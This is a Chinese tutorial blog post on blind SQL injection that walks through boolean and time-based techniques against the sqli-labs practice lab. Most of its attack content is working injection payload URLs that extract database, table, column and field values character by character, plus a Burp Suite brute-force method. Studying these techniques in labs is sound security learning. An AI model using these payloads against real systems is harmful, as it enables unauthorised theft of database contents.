SQL 注入-盲注

2023-11-17

目录

一、什么时候用到盲注?

二、盲注的优缺点

三、盲注的流程

四、盲注的分类 

五、布尔盲注

5.1、原理以及什么时候使用布尔盲注?

5.2、例如upload-labs靶场中的Less-8

5.3、布尔盲注常用函数及定义

5.4、length()函数的使用方法

5.5、substr()、ascii()函数的使用方法

5.6、使用bp爆破模块逐步猜解字符

5.7、 判断数据库中的表

5.7.1、首先判断当前数据库中的表的个数

5.7.2、判断第一个表的长度

5.7.3、判断第二个表的长度

5.7.4、判断第一个表的第一个字符的ascii值

5.7.5、判断第一个表的第二个字符的ascii值

5.8、判断表中的字段

5.8.1、判断表中字段的个数

5.8.2、判断第一个字段的长度

5.8.3、判断第一个字段的ascii值

5.9、判断字段的值

5.9.1、判断数据的长度

5.9.2、判断数据的ascii值

六、时间盲注

6.1、什么是时间盲注

6.2、时间盲注函数sleep()

6.3、使用时间盲注的常用函数——if()函数

6.4、判断库名

6.5、判断表名

6.6、判断表中字段

6.7、判断字段的值

 声明

此篇文章仅用于研究与学习,请勿在未授权的情况下进行攻击。(请勿在本人未同意情况下进行转载) 


一、什么时候用到盲注?

在页面中不会显示数据库信息,一般情况下只会显示对与错的内容。通俗的讲就是在前端页面没有显示位,不能返回SQL语句执行错误的信息,盲注分为布尔盲注和时间盲注。

二、盲注的优缺点

优点:不需要显示位和报错信息。

缺点:速度慢,耗费大量时间

三、盲注的流程

1.判断数据库长度和字符

2.判断表的长度和字符

3.判断出字段的长度和字符

4.判断出字段值的长度和字符

四、盲注的分类 

盲注分为三类:

1、布尔盲注

2、时间盲注

3、报错盲注

通常我们只使用布尔盲注和时间盲注,报错盲注不常用,下面就不解释了。

五、布尔盲注

5.1、原理以及什么时候使用布尔盲注?

原理:是无论输入什么,结果只返回真和假两种结果。

什么时候使用布尔盲注:

1、没有返回SQL执行的错误信息

2、错误与正确的输入,返回的结果只有两种

5.2、例如upload-labs靶场中的Less-8

错误回显

正确回显

http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' order by 3 --+

不管怎么注入 页面只显示 `true` `false` 两种结果。 

5.3、布尔盲注常用函数及定义

1、length():length函数用于在 MySQL 中计算字段的长度,一个汉字是算 3 个字符,一个数字或字母算 1 个字符。

2、substr():substr(string,start,length)对于给定字符串string,从start位开始截取,截取length长度。

length:待提取的字符串的长度,若length为一下情况时,返回整个字符串的所有字符。

1、length不指定

2、length为空

3、length为负值

4、length大于字符串的长度

注意:

substr中的start为负数时返回空值

当length为负值时,默认从start位置截取所有字符

例如:substr(database(),1,1)取出数据库长度从第一位开始取,取1的长度   我们数据库名字为"security" 那就是"s"。

3、ascii():返回字符的ASCII码

例如:ascii(substr(database(),1,1)) ,意思是取数据库第一位字符,长度取一位,并转为ASCII码。取出数据库长度从第一位开始取,取1的长度   我们数据库名字为"security"那就是"s",转为ASCII码就是 115

5.4、length()函数的使用方法

length():length函数用于在 MySQL 中计算字段的长度,一个汉字是算 3 个字符,一个数字或字母算 1 个字符。

用法:

登录MySQL数据库

 mysql -uroot -p123456
 use security;
 select username,password from users where id=1 and (length(database()) = 8);

因为数据库名字 security 8个字符, 前面的条件和数据库字符长度等于8,这两个条件同时成立 才能查询到。

database()是当前数据库名称

length(database())取出数据库名称的长度

< = > 分别为大于、等于、小于,用来判断是否满足条件,用来猜解。

hackbar中注入

http://127.0.0.0:8888/sqli/Less-8/?id=1' and (length(database())=8) --+

 发现回显的true。

5.5、substr()、ascii()函数的使用方法

substr():substr(string,start,length)对于给定字符串string,从start位开始截取,截取length长度。

ascii():返回字符的ASCII码。

我们已经知道数据库的长度,下面需要猜测数据库的每一个字符。

现实中我们不可能知道数据库的名字,只能靠猜测去逐步判断,怎么用最快的方法猜测一个范围的数字?

二分法:我们先取值一个范围1-100.我们知道答案就在1-100中的一个数,我们采用二分法进行快速找到目标数值,我们第一次取值50,判断目标大于50 还是小于50 ,大于50就从50-100中间进行取值,以此类推。

猜测数据库第1位字符

http://127.0.0.0:8888/sqli/Less-8/?id=1' and  ascii(substr(database(),1,1)) > 97 --+     #成立
http://127.0.0.0:8888/sqli/Less-8/?id=1' and  ascii(substr(database(),1,1)) > 110 --+    #成立
http://127.0.0.0:8888/sqli/Less-8/?id=1' and  ascii(substr(database(),1,1)) > 115 --+  #不成立
http://127.0.0.0:8888/sqli/Less-8/?id=1' and  ascii(substr(database(),1,1)) = 115 --+    #成立

判断出数据库第1位是 s

猜测数据库第2位字符

http://192.168.83.144/sqli/Less-8/?id=1' and  ascii(substr(database(),2,1)) =101 --+

判断出第2位字符是 e 

依次类推即可

猜测数据库第3位字符:

猜测数据库第4位字符:

猜测数据库第5位字符:

可以判断出来最终结果是 security

5.6、使用bp爆破模块逐步猜解字符

前面使用substr()和ascii()逐个去猜测字符太过繁琐和浪费时间,我们可以采用bp来解决

首先进行抓包

http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and  substr(database(),1,1) = 's' --+

 

发送到攻击模块 添加两个锚点 切换为集束炸弹模式,设置两个锚点payload

 第一个payload设置库名长度

第二个锚点payload设置库名可能出现的字符

然后开始爆破 

根据回包长度以及回包render 判断每个字符。

5.7、 判断数据库中的表

5.7.1、首先判断当前数据库中的表的个数

用二分法依次判断,最后得知当前数据库表的个数为4,count函数返回匹配指定条件的行数。

http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+

5.7.2、判断第一个表的长度

用二分法依次判断,最后可知当前数据库中第一个表的长度为6

http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6 --+

limit 0,1 的含义就是从你的表或者库中的第0个数据开始(指的是第一个数据),只读取一个,在这里是库,也就是说读取这个库的第一个表。

我们在这里也可以发现用substr()函数时,只用了两个参数(string,start),length参数没有使用,这表示返回字符串的所有字符。

5.7.3、判断第二个表的长度

用二分法依次判断,最后可知当前数据库中第二个表的长度为8 

http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=8 --+

注意这里的limit 0,1就要改为limit 1,1,从第一个数据开始,也就是从第二个数据开始,即这个库的第二个表。

同理可以依次判断剩余的表的长度。

5.7.4、判断第一个表的第一个字符的ascii值

也是采用二分法,看看返回结果是什么,直到找到正确的ascii值,这里的100只是测试数字,具体还要看你们。找到对应的ascii值即是第一个表的第一个字符。

http://192.168.83.144/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+

5.7.5、判断第一个表的第二个字符的ascii值

http://192.168.83.144/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+

 依次类推可以爆出这个库的所有表的名字。

5.8、判断表中的字段

和判断数据库中的表一样的使用方法,首先判断字段的个数然后字段的长度最后字段的ascii值,即可找到表中所有字段名。

5.8.1、判断表中字段的个数

 判断users表中字段名称长度是否大于5,这里的users表是通过上面的语句爆出来的。

http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())>5 --+

5.8.2、判断第一个字段的长度

http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and length(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1))=2 --+

5.8.3、判断第一个字段的ascii值

http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105 --+

依次类推就可以爆出这个users表的所有字段名,分别是 id、username、password 字段。

5.9、判断字段的值

判断字段的值只需要判断数据的长度和数据的ascii值。

5.9.1、判断数据的长度

判断id字段的第一个数据的长度

http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and length((select id from users limit 0,1))=2 --+

5.9.2、判断数据的ascii值

判断id字段的第一个数据的第一个字符的ascii值

http://192.168.83.144/sqli/Less-8/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 --+

以此类推就可以爆出这个字段的数据值。

六、时间盲注

6.1、什么是时间盲注

代码存在 sql 注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面的内容来判断。这里我们可以通过构造语句,通过页面响应的时长,来判断信息。

时间型盲注与布尔型盲注的语句构造过程类似,通常在布尔型盲注表达式的基础上使用IF语句加入延时语句来构造,由于时间型盲注耗时较大,通常利用脚本工具来执行,在手工利用的过程中较少使用。

6.2、时间盲注函数sleep()

通常使用sleep()等专用的延时函数来进行时间盲注,特殊情况下也可以使用某些耗时较高的操作代替这些函数。

为了提高效率,通常在表达式判断为真时执行延时语句。

用法:在数据库中延时3秒, 等待3秒后才有返回结果

mysql>  select username,password from users where id=1 and sleep(3);

Empty set (3.00 sec)

如果页面没有任何返回信息那么我们可以直接直接加上‘sleep(3)’  判断有没有注入

例:http://127.0.0.1:8888/sqli-labs/Less-9/?id=1

我们在URL路径上加入sleep()函数

http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and sleep(3) --+

我们按F12查看网络,看是否存在延迟,如何和我们设置的sleep(3)大差不差就可以验证存在时间盲注。

6.3、使用时间盲注的常用函数——if()函数

用法:if(1,2,3):如果1True,则执行2,否则执行3。

基于时间盲注的思路:

if() 函数,如果参数1为真,那么执行参数2(sleep函数),否则执行参数3(一般写为1)

6.4、判断库名

判断数据库长度

http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if((length(database())=8),sleep(3),1) --+

猜解数据库第一个字符

http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if((ascii(substr(database(),1,1)) =115 ),sleep(3),1) --+

时间盲注和布尔盲注的操作方法类似,这里只简单说一下。

6.5、判断表名

判断该数据库中表的数量

http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if(((select count(table_name) from information_schema.tables where table_schema=database())=4),sleep(3),1) --+

判断表的长度

http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if((length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6),sleep(3),1) --+

判断每个表的每个字符的ascii值

http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(3),1) --+

6.6、判断表中字段

判断表中字段的个数

http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if(((select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())=3),sleep(3),1) --+

判断字段的长度

http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if((length(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1))=2),sleep(3),1) --+

判断字段的ascii值

http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105),sleep(3),1) --+

6.7、判断字段的值

判断数据的长度

http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if((length((select id from users limit 0,1))=1),sleep(3),1) --+

判断数据的ascii值

http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if((ascii(substr((select id from users limit 0,1),1,1))=49),sleep(3),1) --+

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL 注入-盲注 的相关文章

随机推荐

  • 介值定理究竟在讲什么?

    介值定理 书本上的定义 翻译成人话就是 函数最原始的定义 我们初中就知道 一个函数最根本的性质就是 函数值 自变量值 一一对应 所以介值定理就是在反复说一件事 一个数如果属于值域 在定义域内 一定能够找到一个 自变量 与其对应 当然这个结论
  • Shell—关于source,bash如何执行

    通过对一个脚本问题的分析 发现了自己的一个知识误区 我想 有必要写篇博客总结一下 关于source source test sh 与 test sh 二者用法相同 是读取脚本test sh中的内容 依次在当前脚本中执行 且不会建立新的子sh
  • 【论文精读IEEE_2023_6】FlowFace++: Explicit Semantic Flow-supervised End-to-End Face Swapping

    论文精读CVPR 2023 6 FlowFace Explicit Semantic Flow supervised End to End Face Swapping 一 前言 Abstract I INTRODUCTION II RELA
  • matlab 三维激光雷达点云的路缘检测与跟踪

    目录 Introduction Download Lidar Data Set Preprocess Data Detect Road Shape Detect Road Curbs Track Curb Points Analyze Dr
  • 记录用ConstraintLayout实现控件view最大高度的过程

    背景 我项目里用到个popupWindow 内容是掉接口获取的list 长度不固定 就想着弄个最大高度 让他在内容过多的时候不会太长怼到屏幕底部 开整 看constraintLayout的文章说用android maxHeight 250d
  • how to activate XMind8 to pro version.

    From activate Xmind 8 in step 3 run setup sh in sudo command and use the following command to run XMind XMind Activate X
  • 立创开源

    一 项目说明 我们在使用单片机设计项目时经常需要用到ADC功能 但是众所周知 单片机是很脆弱的东西 一旦采样 分压后 的电压超过3 3v就会瞬间罢工 在烧毁4 5个单价不菲的单片机后我认为使用外部ADC很有必要 由此本项目诞生 二 原理图
  • 【解决】nltk.download()报错:errno54: connection reset by peer

    报错详情 import nltk gt gt gt nltk download nltk data Error loading
  • github不再支持账号密码解决方案

    今天在向github上传代码的时候 突然不能上传了 终端报错信息如下 remote Support for password authentication was removed on August 13 2021 Please use a
  • C语言中将变量的数值打印到.txt文件

    1 C语言中只需加入以下代码即可将变量的数值打印到 txt文件中 FILE fp fopen dayin txt a fprintf fp d n 变量名 fclose fp 2 若想每次运行C程序就覆盖掉上一次生成的 txt文件 则需要先
  • 深入PCI与PCIe之一:硬件篇

    PCI总线和设备树是X86硬件体系内很重要的组成部分 几乎所有的外围硬件都以这样或那样的形式连接到PCI设备树上 虽然Intel为了方便各种IP的接入而提出IOSF总线 但是其主体接口 primary interface 还依然是PCIe形
  • 人才盘点的主角是业务部门负责人还是HR?

    你的企业 是否存在以下问题 人才储备不足 关键岗位人员离职后 没有合适的马上接替 人才质量不高 企业战略变革转型期 不知谁可以引领和驱动变革 人才现状不清 新的业务 新的项目要开拓 不知合适的人才在哪里 人才分布不均 成熟业务部门人才扎堆
  • gin框架38--使用中间件

    gin框架38 使用中间件 介绍 案例 说明 介绍 本文主要介绍如何在gin框架中使用中间件 并通过案例加以说明 使用MyBenchLogger中间件来输出特有的日志 用AuthRequire中间件来实现基础认证 案例 package ma
  • Cost function

    cost function的形式 cost function的推导满足以下过程 1 认为error 满足某个分布 写出样本点xi的样本的error 2 认为样本点是相互独立的 推导出其对数似然函数 3 求偏导 是得导函数为0 分离常数部分
  • Java 高精度计算 BigDecimal 和 BigInteger

    BigDecimal 在 Java 中 表示小数值一般使用 float 或者 double 类型 可以用于科学计算或者工程计算等 数学意义上的小数是连续的 但 float 和 double 只能表示其中的一些离散点 如果我们要表示的数值刚好
  • Webpack 中常用的loader和plugin已经webpack如何配置

    dist文件夹存放打包后的文件 动态获取出口路径 需要有webpack init 生成package js文件 1 1webpack是什么 webpack 是一种前端资源构建工具 一个静态模块打包器 modulebundler 在 webp
  • IEnumerable vs IEnumerator

    对对象的存储对每一种语言都很重要 例如C 中的Iterator C 中的IEnumerator Java中的Iterator等 C 所有的集合类都定义了一个叫iterator的数据成员 可以通过此对象实现对集合的traverse vecto
  • kafka权威指南中文版之三

    第三章kafka producer 向kafka写入消息 无论你将kafka作为一个消息队列 或者消息总线 还是一个数据存储平台 你都要通过生产者producer向kafka写入数据 通过消费者consumer读取kafka的数据 例如 一
  • 微信支付流程

    一 微信支付流程 APP用户点击进行支付 会向我们自己的订单服务发送请求 携带订单的相关信息 订单服务接收到请求之后需要保存订单 调用微信统一下单接口生成预支付订单 微信会返回预支付订单标识 订单服务会根据微信返回的标识生成带签名的支付信息
  • SQL 注入-盲注

    目录 一 什么时候用到盲注 二 盲注的优缺点 三 盲注的流程 四 盲注的分类 五 布尔盲注 5 1 原理以及什么时候使用布尔盲注 5 2 例如upload labs靶场中的Less 8 5 3 布尔盲注常用函数及定义 5 4 length